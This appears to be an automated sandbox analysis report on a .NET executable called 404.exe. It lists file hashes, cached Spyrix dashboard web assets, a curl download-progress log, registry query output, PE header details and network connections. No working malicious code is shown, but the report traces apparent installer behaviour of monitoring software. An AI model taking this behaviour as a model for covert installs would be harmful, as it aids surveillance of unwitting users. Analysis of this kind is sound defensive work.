Preview:	<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8" />. <link. rel="icon". href="/favicon.ico". />. <meta. name="viewport". content="width=device-width, initial-scale=1.0". />. <meta. name="robots". content="noindex". />. <title>Dashboard</title>. <script type="module" crossorigin src="https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js"></script>. <link rel="stylesheet" href="https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css">.</head>..<body>. <div id="app"></div>. <script>. document.write('<script src="/cdn.js"><\/script>');. </script>. .</body>..</html>

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2720)
Category:	downloaded
Size (bytes):	2721
Entropy (8bit):	5.2947178448950725
Encrypted:	false
SSDEEP:	48:qtlh2sBoHzp5G7bGdM/mEAs882htu735/oj0I9pbXPDU8E:qt6PG7b4M/xAJ8ayApbrUn
MD5:	817F0F4CD1E827C030E17392C76A17B9
SHA1:	278B4C780B9111A0211C26E6A8499D6795DD03A1
SHA-256:	86D79A8A639BC01A5E86E96F4010D7DA2375DCD8CEAD0C3F7FB8E8DC887EE97A
SHA-512:	6523FF0171037537B247F98D12736724B87DD9185618356AD01285E0764B517B89B1F99C2A194DB8319DDD0B999372FFD5984E119CBEFC01399FAA01FDF114A3
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal-86d79a8a.css
Preview:	.FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--shadow)}.Ht9A72w8{display:flex;justify-content:space-between;position:relative;z-index:var(--z-main)}.Ht9A72w8:after{content:"";position:absolute;border:1px solid var(--app-text-inverse);width:calc(100% - 120px);bottom:10px;left:50%;transform:translate(-50%);z-index:30}.-IjymTpC{display:flex;flex-direction:column;align-items:center;width:100px;justify-content:center}.tw6CEYln{display:flex;text-align:center;margin-bottom:10px}.IYlM96Nq{margin-top:auto;width:21px;height:21px;border-radius:50%;background-color:transparent;z-index:var(--z-main);border:1px solid var(--app-text-inverse)}.-FtbW-m2{background-color:var(--primary);border-color:var(--primary)}.VAQD352X{border-radius:10px 0 0 10px;background-color:var(--sign-up-bg);background-image:

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/favicon.ico
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal.module-d62c47b8.js
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	downloaded
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-1178777c.js
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	271548
Entropy (8bit):	5.571871081577809
Encrypted:	false
SSDEEP:	6144:2k3n+yZmvryzjrgBB9Tch2+4jm8eTVcwOuw4z:tuumvrtkOI
MD5:	F94CE2220CC1D3D67E7A204D6CF8CC7A
SHA1:	DE378721C7223C0F2DB466B930D58FBD27590DF3
SHA-256:	CCF7B74002E851765A632F4ECD7A9EA015C7F1789CD06FB1965650A388DBDB05
SHA-512:	C6F27ADCD9FB16ED170FECF2440A8094FFB6988FA60F6078872ABBFEA0A6E6749A1FE485952EF63889CECE0F0F2C377BD55FBA05DCB7E135DE97B27F7D9587F4
Malicious:	false
Reputation:	unknown
URL:	https://www.googletagmanager.com/gtag/js?id=G-1S18THVZ27&l=dataLayer
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	dropped
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (837)
Category:	downloaded
Size (bytes):	838
Entropy (8bit):	5.138342360432239
Encrypted:	false
SSDEEP:	24:HIA6XKsUFFQtk4BQs1uub9T5zvEw+8iYshFQa:qXdcmVlhxz+5YsTQa
MD5:	2DE77C15D2E4B26D02874D1C6A5D78D1
SHA1:	B80B2BB3553C9C417B569CCF7E7C8CED660AE735
SHA-256:	9D95D9183E874ACA32283807A0464CA9C4BC267FAEA799E27A3C23D2CD7ACA61
SHA-512:	F4007CF227253D9548EDE6D646C3757BD8F8AAF316030E271E8A7B3AD730F8CED4991A3C96E850944313E2BFA94BF13400715AC9EB93ACFAD37353FE4217C7A0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/useValidation-954c07e6.js
Preview:	import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters")}const f=e=>{const{t}=n;return e.length<6?t("The field must contain at least 6 characters"):""},h=e=>{const{t}=n;return/^([+]\|\d)([0-9])+$/.test(e)?"":t("There should only be numbers")},p=e=>{const{t}=n;return e?"":t("Field cannot by empty")};function F(){const e=i({}),t={required:p,maxLen:m,email:d,minLen6:f,phone:h},u=(s,o,l)=>{let r=!1;l.forEach(a=>{if(r)return;const c=t[a](o);if(c){e.value[s]=c,r=!0;return}else e.value[s]=""})};return{errors:e,validate:u,validateField:(s,o,l)=>{const r="mockedFieldName";u(r,s,o);const a=e.value[r];return a?(l(a),!1):!0}}}export{F as u};.

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (795)
Category:	downloaded
Size (bytes):	796
Entropy (8bit):	5.177657402754797
Encrypted:	false
SSDEEP:	24:5AEGWcKDE8vXntdkNr2kZPmoSnH52XdGKav:5AEGlt8vXtd42+mo6edGKk
MD5:	3200FC81B1A014F05468E26FDE52BE12
SHA1:	7FE3D3991C4050E7FB07A77A562EBEAC60BE5F8F
SHA-256:	322F62D059D4F3F0641420A7E2CC89B734F6019D54460D25CB3E06E502B8B0CE
SHA-512:	82BB4B79EA3C1305D710754C840751AEDCC140894F2FA8356DE784C58175A15E678DF619466A2D363BEA2AE747BF840D5750CD8D07F8D7DD20EF8955EBE88A69
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js
Preview:	import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:{default:"default"},text:{},loading:{type:Boolean,default:!1},loadingText:{default:""},customColor:{default:"default"},disabledText:{default:""},size:{default:"sm"}},setup(l){const e=l,{t:r}=c(),i=s(()=>e.loadingText?e.loadingText:r("Please, wait...")),u=s(()=>e.loading?i.value:e.disabledText?e.disabledText:e.text);return(t,T)=>(f(),m("div",{class:n([a(o).buttonText,a(o)[t.customColor]])},[p(x,{class:n(a(o).text),text:u.value,size:t.size,"one-row":t.whiteSpace!=="wrap"},null,8,["class","text","size","one-row"])],2))}});export{b as _};.

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	2137
Entropy (8bit):	3.331210872323679
Encrypted:	false
SSDEEP:	24:HkyH+bJGtmvYLnk5a8KWhcyspUIoIoH5jcZWvZ3JvT9vZPQ6j+2KQo1DWu/Dg:Hky+4Lwa83dHiZWPv5S66/Qo1DWu/8
MD5:	D001F8B9A73F7E4DFAE646D182EEE893
SHA1:	976D9E3F39387A8F595978618391CE1FF7F4C15B
SHA-256:	12A598175593D6AF9832955B026FADD8F5C4BB8E7FD41274294BB20938EF4EE2
SHA-512:	40E174CC8579F3BC6E02636FB4CB348EF01C98F7A0A8A9A14788A4CCD6242E0DB90A364FBEFCEDB491CA93420DCB4564855F8D9C4CACAC150E40753DBB64D470
Malicious:	false
Reputation:	unknown
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 31.8M 0 56916 0 0 57611 0 0:09:40 --:--:-- 0:09:40 57665. 4 31.8M 4 1391k 0 0 703k 0 0:00:46 0:00:01 0:00:45 703k. 8 31.8M 8 2791k 0 0 945k 0 0:00:34 0:00:02 0:00:32 945k. 12 31.8M 12 4207k 0 0 1067k 0 0:00:30 0:00:03 0:00:27 1067k. 17 31.8M 17 5615k 0 0 1136k 0 0:00:28 0:00:04 0:00:24 1136k. 21 31.8M 21 7135k 0 0 1198k 0 0:00:27 0:00:05 0:00:22 1425k. 25 31.8M 25 8447k 0 0 1218k 0 0:00:26 0:00:06 0:00:20 1423k. 30 31.8M 30 9935k 0 0 1251k 0 0:00:26 0:00:07 0:00:19 1432k. 34 31.8M 34 11.0M 0 0 1265k 0 0:00:25 0:00:08 0:00:17 1421k. 38 31.8M 38 12.3M 0 0 1273k 0 0:

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	243
Entropy (8bit):	5.025903567998292
Encrypted:	false
SSDEEP:	6:rbsd3u6eWFF60OckSi23oH+H1gFyeWFF60OckSi23fksgeWFF60OckSi23fhn:QNFFvO4ZYeVAyNFFvO4ZssgNFFvO4ZZn
MD5:	5F73D6EB745036C1AFF17E55835C42B2
SHA1:	603662F0180E4B5AACD9DCDFB01738C0D29F7A3F
SHA-256:	11C4731706427EC108A02F9FD527EC7DEEA25F012233B5F6EEC8D10F615CB631
SHA-512:	E9B3B307A6CBC6EE6219347ED24246AFE1197CEE2A1AC621C7E8035DD32B9CAB256F80155D66E7580AFEE7022264CEE105EE08A380BE5960C30E26D3E2277E43
Malicious:	false
Reputation:	unknown
Preview:	..HKEY_USERS\S-1-5-19\Environment.. Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;.. TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp.. TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.725524916177281
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	404.exe
File size:	90'112 bytes
MD5:	d15daef371b50fb739401bfde29df35a
SHA1:	d916c598aff72aaf461a5427cd7c6440c199ff24
SHA256:	ee8a52deddf45bac9caa60205f83488ee644ffd1ea01998774d68c7f46568b71
SHA512:	4145f4a52d7098b5543efefdbf2810b403ba82036f2ef254f458d0084da839636f9d4dc5ec3016065fdfccf6468da301c4da523ece1244fd23efb1fd288d5529
SSDEEP:	1536:Fmb6bAx1Aw+M+JqPSMr49ucL+91yhgwCqnkLrcIN6mE:Fm+b/zqPSMr49uiSUf
TLSH:	D193F1603BF9871BD2785E3859F67B0147B6AE166906DF8E1DC8B05F6DB371402C2A23
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W->..........."...0..P.........."n... ........@.. ....................................`................................

File Icon


Icon Hash:	236959716569338e

Static PE Info

General

Entrypoint:	0x416e22
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFC3E2D57 [Fri Feb 8 17:01:11 2104 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16dd0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18000	0xaa0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16db4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x14e28	0x15000	a135ff2cca68dc8c711f24903f640245	False	0.922119140625	data	7.81759162350406	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x18000	0xaa0	0xc00	df25321e9d65b54051c62a01523d6a24	False	0.3551432291666667	data	4.219239603448153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1a000	0xc	0x200	4841e7189fe8b30a7d5810f49c13b925	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x18100	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.34131205673758863
RT_GROUP_ICON	0x18578	0x14	data	1.1
RT_VERSION	0x1859c	0x304	data	0.4339378238341969
RT_MANIFEST	0x188b0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 06:09:55.945180893 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:09:55.945198059 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:09:56.054513931 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:09:59.656116962 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:09:59.656147003 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:09:59.656284094 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:09:59.681332111 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:09:59.681345940 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:00.475131989 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:00.475224972 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:00.553766966 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:00.553802013 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:00.554018021 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:00.601315022 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:01.488686085 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:01.531414986 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.925525904 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.925545931 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.925594091 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.925633907 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:01.925656080 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.925676107 CEST	49704	443	192.168.2.5	23.109.93.100
